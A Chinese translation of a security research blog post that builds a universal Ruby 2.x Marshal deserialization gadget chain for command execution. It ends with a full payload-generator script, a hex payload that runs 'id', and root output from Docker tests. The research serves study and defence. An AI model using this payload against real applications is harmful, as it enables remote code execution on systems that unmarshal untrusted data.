Ruby 2.x gadget chain反序列化 RCE
原文 :ofollow,noindex">https://www.elttam.com.au/blog/ruby-deserialization/
介紹
這篇博文詳細介紹了Ruby程式語言的任意反序列化漏洞,並公開發布了第一個通用工具鏈來實現Ruby 2.x的任意命令執行。下面將詳細介紹反序列化問題和相關工作,發現可用的漏洞利用鏈,最後利用ruby序列化。
背景
序列化 是將物件轉換成一系列位元組的過程,這些位元組可以通過網路傳輸,也可以儲存在檔案系統或資料庫中。這些位元組包括重構原始物件所需的所有相關資訊。這種重建過程稱為反序列化。每種程式語言都有自己獨特的序列化格式。有些程式語言使用序列化/反序列化之外的名稱來引用這個過程。在Ruby中,常用的術語是marshalling和unmarshalling。
Marshal類具有"dump"和"load"的類方法,可以使用如下方式:
圖一:Marshal.dump和Marshal.load的用法:
$ irb >> class Person >>attr_accessor :name >> end => nil >> p = Person.new => #<Person:0x00005584ba9af490> >> p.name = "Luke Jahnke" => "Luke Jahnke" >> p => #<Person:0x00005584ba9af490 @name="Luke Jahnke"> >> Marshal.dump(p) => "\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET" >> Marshal.load("\x04\bo:\vPerson\x06:\n@nameI\"\x10Luke Jahnke\x06:\x06ET") => #<Person:0x00005584ba995dd8 @name="Luke Jahnke">
不可信資料反序列化的問題
當開發人員錯誤地認為攻擊者無法檢視或篡改序列化的物件(因為它是不透明的二進位制格式)時,就會出現常見的安全漏洞。這可能導致向攻擊者公開物件中儲存的任何敏感資訊,例如憑證或應用程式金鑰。在序列化物件具有例項變數的情況下,它還經常導致特權升級,例項變數隨後用於許可權檢查。例如,一個使用者物件,它包含一個使用者名稱例項變數,該變數是序列化的,可能會被攻擊者篡改。修改序列化資料並將username變數更改為更高特權使用者的使用者名稱(如"admin")是很容易的。雖然這些攻擊可能很強大,但它們對上下文非常敏感,從技術角度看也不令人興奮,本文將不再對此進行進一步討論。
程式碼重用攻擊也可能發生在已經可用的程式碼片段(稱為gadget)被執行以執行不想要的操作(如執行任意系統命令)時。由於反序列化可以將例項變數設定為任意值,因此攻擊者可以控制gadget操作的一些資料。這還允許攻擊者使用一個gadget chain呼叫第二個gadget chain,因為經常呼叫儲存在例項變數中的物件。當一系列的小玩意以這種方式連在一起時,就叫做工具鏈。
以前的payloads
不安全反序列化在OWASP的2017年十大最關鍵的Web應用程式安全風險排行榜上排名第八,但是關於為Ruby構建工具鏈的詳細資訊卻很少公佈。然而,在攻擊Ruby on Rails應用程式的Phrack論文中可以找到一個很好的參考,Phenoelit的joernchen在2.1節中描述了一個由Charlie Somerville發現的工具鏈,它可以實現任意的程式碼執行。為了簡潔起見,這裡不再介紹該技術,但是前提條件如下。
- 必須安裝並載入ActiveSupport gem
- 標準庫中的ERB必須載入(預設情況下Ruby不載入)
- 反序列化之後,必須在反序列化物件上呼叫不存在的方法
雖然這些先決條件幾乎肯定會在任何Ruby on Rails web應用程式的上下文中實現,但其他Ruby應用程式很少能實現這些先決條件。
所以,挑戰已經被扔出來了。我們可以繞過所有這些先決條件,並實現任意程式碼執行嗎?
尋找gadgets
由於我們想要建立一個沒有依賴關係的gadget鏈,gadget只能從標準庫中獲取。應該注意的是,不是所有的標準庫都預設載入。這大大限制了我們可以使用的利用鏈的數量。例如,對Ruby 2.5.3進行了測試,發現預設情況下載入了358個類。雖然這似乎很多,但仔細觀察發現,這些類中有196個沒有定義任何自己的例項方法。這些空類中的大多數都是用於區分可捕獲異常的Exception 的唯一命名繼承。
可用類的數量有限,這意味著找到能夠增加載入的標準庫數量的gadget或技術是非常有益的。一種技術是查詢在呼叫時需要另一個庫的gadget。這很有用,因為即使require似乎在某個模組和/或類的範圍內,它實際上也會影響全域性名稱空間。
圖二:呼叫require方法的示例(lib/rubygems.rb)
module Gem ... def self.deflate(data) require 'zlib' Zlib::Deflate.deflate data end ... end
如果上面的Gem.deflate方法包含在gadget鏈中,那麼將載入Ruby標準庫中的Zlib庫,如下所示:
圖三:全域性名稱空間被汙染的演示
$ irb >> Zlib NameError: uninitialized constant Zlib ... >> Gem.deflate("") => "x\x9C\x03\x00\x00\x00\x00\x01" >> Zlib => Zlib
雖然標準庫動態載入標準庫的其他部分的例子有很多,但有一個例項指出,如果在系統上安裝了第三方庫,就會嘗試載入它,如下所示:
圖4:從載入第三方RBTree庫(lib/set.rb)的標準庫中分類的集合
... class SortedSet < Set ... class << self ... def setup ... require 'rbtree'
下面的圖顯示了在需要未安裝的庫(包括其他庫目錄)時要搜尋的位置的示例。
圖5:當Ruby試圖在沒有安裝RBTree的預設系統上載入RBTree時,strace的輸出示例:
$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl 1[pid32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) 2[pid32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) 3[pid32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory) ... 129[pid32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 130[pid32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 131[pid32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 132[pid32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory) 133[pid32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 134[pid32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 135[pid32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) 136[pid32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory) ...
一個更有用的gadget是通過攻擊者控制的引數來要求的。這個gadget將支援在檔案系統上載入任意檔案,從而提供標準庫中的任何gadget的使用,包括查理•薩默維爾gadget鏈中使用的ERB gadget。雖然沒有識別出允許完全控制require引數的gadget,但是下面可以看到一個允許部分控制的gadget示例
圖6:允許控制部分require引數的gadget(ext/digest/lib/digest.rb)
module Digest def self.const_missing(name) # :nodoc: case name when :SHA256, :SHA384, :SHA512 lib = 'digest/sha2.so' else lib = File.join('digest', name.to_s.downcase) end begin require lib ...
上面的示例無法使用,因為標準庫中的任何Ruby程式碼都不會顯式呼叫const_missing。這並不奇怪,因為constmissing是一個hook方法,在定義時,當引用未定義的常量時將呼叫它。比如@object.\ _send__(@method, @argument),允許用任意引數對任意物件呼叫任意方法,顯然允許呼叫上面的const_missing方法。但是,如果我們已經有了這樣一個強大的gadget,我們就不再需要增加可用gadget的集合,因為它只允許執行任意的系統命令。
const_missing方法也可以作為呼叫const_get的結果呼叫。Gem::Package類的摘要方法在檔案lib/rubygems/ Package.rb檔案中是一個合適的gadget,因為它在Digest模組上呼叫const_get(儘管任何上下文也可以工作)來控制引數。但是,const_get的預設實現對字符集執行嚴格的驗證,從而防止在digest目錄之外進行遍歷。
另一種呼叫const_missing的方法是隱式地使用Digest::SOME_CONSTANT等程式碼。然而,Marshal.load不會以呼叫const_missing的方式執行常量解析。更多細節可以在Ruby問題3511 和12731 中找到。
另一個gadget也提供了對傳遞給require的引數的部分控制,如下所示:
class Gem::CommandManager def [](command_name) command_name = command_name.intern return nil if @commands[command_name].nil? @commands[command_name] ||= load_and_instantiate(command_name) end private def load_and_instantiate(command_name) command_name = command_name.to_s ... require "rubygems/commands/#{command_name}_command" ... end end ...
由於"_command"字尾以及沒有識別出允許截斷(即使用空位元組)的技術,上面的示例也無法利用。"_command"字尾確實存在一些檔案中,但由於發現了增加可用gadgets的不同技術,因此沒有進一步探討這些檔案。然而,一個感興趣的研究者可能會發現在探索這個話題時進行的調查是很有趣的。
如下圖所示,Rubygem庫廣泛使用了autoload方法:
圖8:對autoload方法(lib/rubygems.rb)的大量呼叫
module Gem ... autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder' autoload :ConfigFile,'rubygems/config_file' autoload :Dependency,'rubygems/dependency' autoload :DependencyList,'rubygems/dependency_list' autoload :DependencyResolver, 'rubygems/resolver' autoload :Installer,'rubygems/installer' autoload :Licenses,'rubygems/util/licenses' autoload :PathSupport,'rubygems/path_support' autoload :Platform,'rubygems/platform' autoload :RequestSet,'rubygems/request_set' autoload :Requirement,'rubygems/requirement' autoload :Resolver,'rubygems/resolver' autoload :Source,'rubygems/source' autoload :SourceList,'rubygems/source_list' autoload :SpecFetcher,'rubygems/spec_fetcher' autoload :Specification,'rubygems/specification' autoload :Util,'rubygems/util' autoload :Version,'rubygems/version' ... end
autoload的工作方式與require類似,但只在首次訪問已註冊的常量時載入指定的檔案。由於這種行為,如果這些常量中的任何一個包含在反序列化payload中,相應的檔案將被載入。這些檔案本身還包含require和autoload語句,進一步增加了可以提供有用gadget的檔案數量。
雖然autoload預計不會在Ruby 3.0的未來版本中繼續使用 ,但是隨著Ruby 2.5的釋出,標準庫中的使用增加了。在這個git commit 中引入了使用autoload的新程式碼,可以在下面的程式碼片段中看到:
圖9:Ruby 2.5中引入的自動載入的新用法(lib/uri/generic.rb)
ObjectSpace.each_object do |clazz| if clazz.respond_to? :const_get Symbol.all_symbols.each do |sym| begin clazz.const_get(sym) rescue NameError rescue LoadError end end end end
在運行了上面的程式碼之後,我們對提供gadget的可用類數量進行了新的評估,發現載入了959個類,比之前的值358增加了658個。在這些類中,至少定義了511例項方法,這些改進為顯著的改進了載入這些額外類的能力,我們可以開始搜尋有用的gadgets了。
初始化/啟動 gadgets
每個gadget鏈的開始都需要一個gadget,該gadget將在反序列化期間或反序列化之後自動呼叫。這是執行下一步gadget的初始入口點,最終目標是實現任意程式碼執行或其他攻擊。
理想的初始gadget是由Marshal.load在反序列化時自動呼叫的。這消除了在反序列化後執行的程式碼進行防禦檢查和保護以防止惡意物件攻擊的任何機會。我們懷疑在反序列化期間自動呼叫gadget是可能的,因為它是PHP等其他程式語言中的一個特性。在PHP中,如果類具有__wakeup定義的魔術方法 ,那麼在反序列化此類物件時,它將立即被呼叫。閱讀相關的Ruby文件 可以發現,如果一個類定義了一個例項方法marshal_load,那麼這個方法將在該類物件的反序列化時被呼叫。
使用此資訊,我們檢查每個載入的類,並檢查它們是否具有marshal_load例項方法。這是通過以下程式碼程式設計實現的。
圖10:用於查詢所有定義了marshal_load的類的ruby指令碼
ObjectSpace.each_object(::Class) do |obj| all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods if all_methods.include? :marshal_load method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s puts obj puts "marshal_load defined by #{method_origin}" puts "ancestors = #{obj.ancestors}" puts end end
剩餘的gadgets
在研究過程中發現了許多gadget,但是在最終的gadget鏈中只使用了一小部分。為了簡短起見,下面總結了一些有趣的內容:
圖12:結合一個呼叫快取方法的gadget鏈,這個gadget允許任意程式碼執行(lib/rubygems/source/gb.rb)
class Gem::Source::Git < Gem::Source ... def cache # :nodoc: ... system @git, 'clone', '--quiet', '--bare', '--no-hardlinks', @repository, repo_cache_dir ... end ...
圖13:這個gadget可以用來讓to_s返回除預期的字串物件之外的內容(lib/rubygems/security/policy.rb)
class Gem::Security::Policy ... attr_reader :name ... alias to_s name # :nodoc: end
圖14:這個gadget可以用來讓to_i返回期望的整數物件以外的內容(lib/ipaddr.rb)
class IPAddr ... def to_i return @addr end ...
圖15:這段程式碼生成一個gadget鏈,當反序列化進入一個無限迴圈
module Gem class List attr_accessor :value, :tail end end $x = Gem::List.new $x.value = :@elttam $x.tail = $x class SimpleDelegator def marshal_dump [ :__v2__, $x, [], nil ] end end ace = SimpleDelegator.new(nil) puts Marshal.dump(ace).inspect
打造gadget chain
建立gadget chain的第一步是構建一個初始gadget池候選marshal_load,並確保它們對我們提供的物件呼叫方法。這很可能包含每個初始的gadget,因為Ruby中的"一切都是物件"。我們可以通過檢查並實現在我們控制的物件上保留任何呼叫公共方法名的方法來減少這個gadget池。理想情況下,公共方法名應該有許多不同的實現可供選擇。
對於我的gadget chain,我選擇了Gem:: requirements類,它的實現如下所示,並授予對任意物件呼叫each方法的能力。
圖16:Gem::Requirement部分原始碼(lib/rubygems/requirement.rb)參考註釋:
class Gem::Requirement # 1) we have complete control over array def marshal_load(array) # 2) so we can set @requirements to an object of our choosing @requirements = array[0] fix_syck_default_key_in_requirements end # 3) this method is invoked by marshal_load def fix_syck_default_key_in_requirements Gem.load_yaml # 4) we can call .each on any object @requirements.each do |r| if r[0].kind_of? Gem::SyckDefaultKey r[0] = "=" end end end end
現在,我們可以呼叫each方法了,我們需要each方法的一個有用實現,以使我們更接近於任意命令的執行。在檢視Gem::DependencyList(以及mixin Tsort)的原始碼後,發現對它的each例項方法的呼叫都會導致對它的@specs例項變數呼叫sort方法。這裡不包括訪問sort方法呼叫所採取的確切路徑,但是可以通過以下命令驗證該行為,該命令使用Ruby的stdlibTracer 類輸出源級執行跟蹤:
圖17:驗證Gem::DependencyList#每個在@specs.sort中的結果
$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort' #0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:specs = @specs.sort.reverse
有了這種對任意物件陣列呼叫sort方法的新功能,我們可以利用它對任意物件呼叫<=>方法(spaceship operator )。這很有用,因為Gem::Source::SpecificFile有一個<=>方法的實現,當呼叫這個方法時,它可以在它的@spec例項變數上呼叫name方法,如下所示:
圖18:Gem::Source::SpecificFile部分原始碼(lib/rubygems/source/specific_file.rb)
class Gem::Source::SpecificFile < Gem::Source def <=> other case other when Gem::Source::SpecificFile then return nil if @spec.name != other.spec.name # [1] @spec.version <=> other.spec.version else super end end end
能在任意物件上呼叫name方法是所有過程的最後一步,因為Gem::StubSpecification有一個name方法,它呼叫它的data方法。然後data方法呼叫open方法,這實際上是Kernel.open,它的例項變數@loaded_from作為第一個引數,如下所示:
圖19:Gem::BasicSpecification部分原始碼
(lib/rubygems/basic_specification.rb)和 Gem::StubSpecification(lib/rubygems/stub_specification.rb):
class Gem::BasicSpecification attr_writer :base_dir # :nodoc: attr_writer :extension_dir # :nodoc: attr_writer :ignored # :nodoc: attr_accessor :loaded_from attr_writer :full_gem_path # :nodoc: ... end class Gem::StubSpecification < Gem::BasicSpecification def name data.name end private def data unless @data begin saved_lineno = $. # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open. open loaded_from, OPEN_MODE do |file| ...
如相關文件 中所述,當第一個引數的第一個字元是管道字元(“|”)時,Kernel.open可以用來執行任意系統命令。有趣的是,看看直接在open上方的TODO註釋是否很快就能解決。
生成payload
下面的指令碼用於生成和測試前面描述的gadget chain:
#!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload)
下面在一個空的Ruby程序上使用Bash命行驗證併成功執行payload,據測試,版本2.0到2.5受到影響:
$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root) uid=0(root) gid=0(root) groups=0(root)
結論
本文探索併發布了一個通用gadget chain,它可以在Ruby 2.0到2.5版本中實現命令執行。
正如本文所闡述的,Ruby標準庫的複雜知識在構建反序列化gadget chain方面非常有用。在將來的工作有很多機會,包括使該技術涵蓋Ruby 1.8和1.9版本,以及使用命令列引數--disable-all呼叫Ruby程序的例項。還可以研究其他Ruby的實現,如JRuby和Rubinius。
有一些關於Fuzzing Ruby C extensions 和Breaking Ruby’s Unmarshal with AFL-Fuzz ,,包括程式碼審計的研究。在完成這項研究之後,似乎有足夠的機會進一步研究marshal_load方法的程式碼實現。
在C語言中實現的marshal_load例項:
complex.c:rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1); iseq.c:rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1); random.c:rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1); rational.c:rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1); time.c:rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1); ext/date/date_core.c:rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1); ext/socket/raddrinfo.c:rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);
謝謝閱讀!